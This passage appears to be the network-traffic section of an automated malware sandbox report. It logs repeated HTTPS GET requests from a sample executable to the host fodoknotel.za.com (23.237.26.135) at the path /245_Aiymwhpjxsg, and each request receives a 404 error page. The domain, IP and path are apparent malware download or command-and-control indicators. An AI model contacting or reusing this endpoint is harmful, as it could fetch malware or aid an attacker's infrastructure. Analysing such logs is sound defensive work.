2025-01-14 07:26:48 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:26:48 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:26:48 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.5	50230	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:48 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:26:49 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:26:48 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:26:49 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.5	50232	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:49 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:26:49 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:26:49 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:26:49 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.5	50234	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:50 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:26:50 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:26:50 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:26:50 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.5	50236	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:51 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:26:51 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:26:51 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:26:51 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.5	50238	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:52 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:26:52 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:26:52 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:26:52 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.5	50240	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:53 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:26:53 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:26:53 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:26:53 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.5	50242	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:54 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:26:54 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:26:54 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:26:54 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.5	50244	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:55 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:26:55 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:26:55 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:26:55 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.5	50246	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:55 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:26:56 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:26:56 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:26:56 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.5	50248	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:56 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:26:56 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:26:56 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:26:56 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.5	50250	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:57 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:26:57 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:26:57 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:26:57 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.5	50252	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:58 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:26:58 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:26:58 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:26:58 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.5	50254	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:59 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:26:59 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:26:59 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:26:59 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.5	50256	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
